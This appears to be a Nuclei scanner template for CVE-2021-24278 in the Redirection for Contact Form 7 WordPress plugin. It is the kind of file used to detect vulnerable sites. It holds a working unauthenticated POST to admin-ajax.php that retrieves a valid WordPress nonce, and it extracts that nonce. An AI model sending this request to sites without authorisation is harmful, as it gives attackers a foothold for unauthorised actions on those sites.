46 lines
1.3 KiB
YAML
46 lines
1.3 KiB
YAML
id: CVE-2021-24278
|
|
|
|
info:
|
|
name: Redirection for Contact Form 7 < 2.3.4 - Unauthenticated Arbitrary Nonce Generation
|
|
author: 2rs3c
|
|
severity: high
|
|
description: In the Redirection for Contact Form 7 WordPress plugin before 2.3.4, unauthenticated users can use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
|
|
reference:
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24278
|
|
- https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
|
|
- https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-24278
|
|
tags: cve,cve2021,wordpress,wp-plugin
|
|
|
|
requests:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/wp-admin/admin-ajax.php"
|
|
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
body: "action=wpcf7r_get_nonce¶m=wp_rest"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- '"success":true'
|
|
- '"nonce":"[a-f0-9]+"'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- '"nonce":"[a-f0-9]+"' |